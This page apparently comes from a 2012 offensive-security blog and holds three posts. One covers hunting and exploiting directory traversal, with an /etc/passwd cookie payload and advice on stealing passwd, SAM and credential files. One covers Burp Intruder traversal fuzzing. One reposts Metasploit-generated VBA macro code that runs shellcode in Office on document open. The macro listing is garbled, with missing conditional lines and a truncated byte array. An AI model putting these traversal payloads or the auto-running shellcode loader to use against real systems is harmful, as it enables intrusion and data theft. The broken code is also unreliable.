Friday, February 17, 2012

Hunting & Exploiting Directory Traversal

In cktricky's last post he provided a great outline on the ins and outs of leveraging burp's built in support for directory traversal testing.  There are two questions, however, that should immediately come to mind once you are familiar with this tool:  How do I find directory traversal & what should I look for if I do?

Finding directory traversal is the hunt for dynamic file retrieval or modification.  The antonym, static file retrieval, is when the browser is delegated the request for a file on the server.  In other words, every <a href>, css call for a file/location, and even most JavaScript calls can be considered static.  You could copy the path of those requests into the browser address bar and grab the file yourself-- because that is pretty much what the browser is doing for you.  Dynamic file retrieval, however, is when you request a server based page/function which serves you a file.  Think of it as the difference between calling someone directly on the phone vs. calling an operator who calls that person and patches you in.

Dynamic file serving takes place for a variety of reasons, such as: user content download locations, dynamic image rendering/resizing features, template engines, language parameters*, AJAX to services type calls, sometimes in cookies, and occasionally are how pages themselves get served.  These all basically look something like:




The path to the file can either be relative (../../../etc) or in some more rare cases absolute (c:/windows/boot.ini).  Additionally, these requests might be base64 or ROT13 encoded or sometimes encrypted.  Neither is a stop get.

You might think language parameters are an odd location for directory traversal, but after talking with my co-workers*, they reminded be about dynamic file modification.  Some frameworks use parameters (such as language) to prefix a directory to the request or alter the file name for the appropriate language.  Ergo:

    cookie: language=en-us;

    could turn into:

    File.Open('/' + language '/' + some-file);
  File.Open('/' + language + '.' + some-file);

If that is true, you can alter the root of a request, then use terminators to kill off the rest of what gets appended (null chars ftw) such as:

    cookie: language=../../../../../etc/passwd

Language, template/skin name, or occasionally environment type variables (such as location=PROD, DEBUG, etc...).  Anything that might be prefixed to a file name or directory to search is fair-game for that.

Now what?

Once you've identified a location which appears to be ripe for the testing-- how do you verify and what would you do?  To verify, I have found two approaches that work well: default files & known files.

The first approach is based on looking for default files on the file system.  Since you are mostly blind to what exists on a server, you look for the existence of these defaults to see if they can be retrieved.  There are two resources which I've found helpful.  The first is Mubix's list of post-exploitation commands.  In addition to a helpful list of commands for post exploit, the list includes very common files you might want to look for and steal (by operating system).  The second resource is the Apache Default layout per OS.  This can be really useful if you are attacking a system using Apache, to grab known configurations.  For non-Apache web servers, I usually install them locally and see what the default layout looks like manually.

The second approach comes into play if the first fails (and it might) because the user-context of the site doesn't have the authority to access those files.  So you have to request files you can be reasonably sure it has access to-- the webpages it already serves.  In this approach you attempt to serve other parts of the webpage, relative to the location you are currently looking at.  As a contrived example, say you see a layout something like:


you'd test for:


Since you know that the user-context of the site has the authority to serve those pages, it -should- be a fairly practical way to verify if your directory traversal is working.  You may even get back source code this way. :-)

If you are attempting to take over the server, you should be looking to steal resources which would help you with that (such as the passwd & sam files).  If you are attempting to do an involuntary code review, you should steal the source code from the pages you are looking at.  There are occasionally hard coded credentials source, but application configuration files are often gold for credentials.  I've found database, admin users, SMTP credentials and FTP users this way.

Some final things to consider:
  • Most operating systems support the use of environment variables/shortcuts for locations such as %home% or ~.  This is useful to remember if there are protections against using a period or two successive periods.
  • When dynamic features serve files, they often violate other protections.  In IIS for instance various extensions cannot be served by the server (.config files for instance).  However in most directory traversals you can pull the web.config file out w/o many problems.
  • User controlled uploads often get served dynamically because there isn't a way for the server to know before-hand what the files are.  You can sometimes find directory traversal here by uploading files with weird path's in their names (or renaming them after upload). 
  • Developers sometimes leave clues to file's physical locations in comments.  I once downloaded a source for an entire site because of this. 
  • Image / gallery plugins for CMS's are notorious for directory traversal.
  • Error messages are your friend here.  If you get a system/application error instead of a file not found type error, you can at least use the mechanism to check for existence of files.
Happy Hunting.


* Thanks DC & AJ


Sunday, February 5, 2012

Easy Directory Traversal with Burp

Often, I'll use Burp Suite's directory traversal Intruder payload list. A step exists that must be performed in order to effectively leverage the traversal payload. We'll briefly cover this.

Intruder with the insertion point (fuzzing the file parameter)

Burp's fuzzing-path traversal payload, available under the preset list payload set, has a placeholder that represents the filename you'd like to fuzz for. This placeholder "{FILE} ", must be substituted with an actual filename (ex: /etc/passwd).

Payload processing rule added, match replace, regular expression form \{FILE\}
As you can see, the additional step was adding a payload processing rule. We chose match/replace, escaped characters that represent regular expressions (curly braces {}) by placing a backslash in front of them and replaced them with etc/passwd.

Lastly, don't forget to select/deselect the URL-encoding of characters based on your needs.



Friday, February 3, 2012

Direct Shellcode Execution via MS Office Macros with Metasploit

scriptjunkie recently had a post on Direct shellcode execution in MS Office macros I didnt see it go into the metasploit trunk, but its there.  How to generate macro code is in the post but i'll repost it here so i dont have to go looking for it elsewhere later. He even has a sample to start with so you can see how it works.  Just enable the Developer tab, then hit up the Visual Basic button to change code around.

msf > use payload/windows/exec
msf  payload(exec) > set CMD calc
CMD => calc
msf  payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf  payload(exec) > generate -t vba
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
        Dim  Xlbufvetp As Long
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
Sub AutoOpen()
End Sub
Sub Workbook_Open()
End Sub

The important thing to remember is that with this method you'll NOT be dropping a vbs or bin and you'll be running inside of excel/word/whatever so you need to make sure you set up an autorunscript or macro to migrate out of the process else you'll be losing the shell as soon as they exit the office application.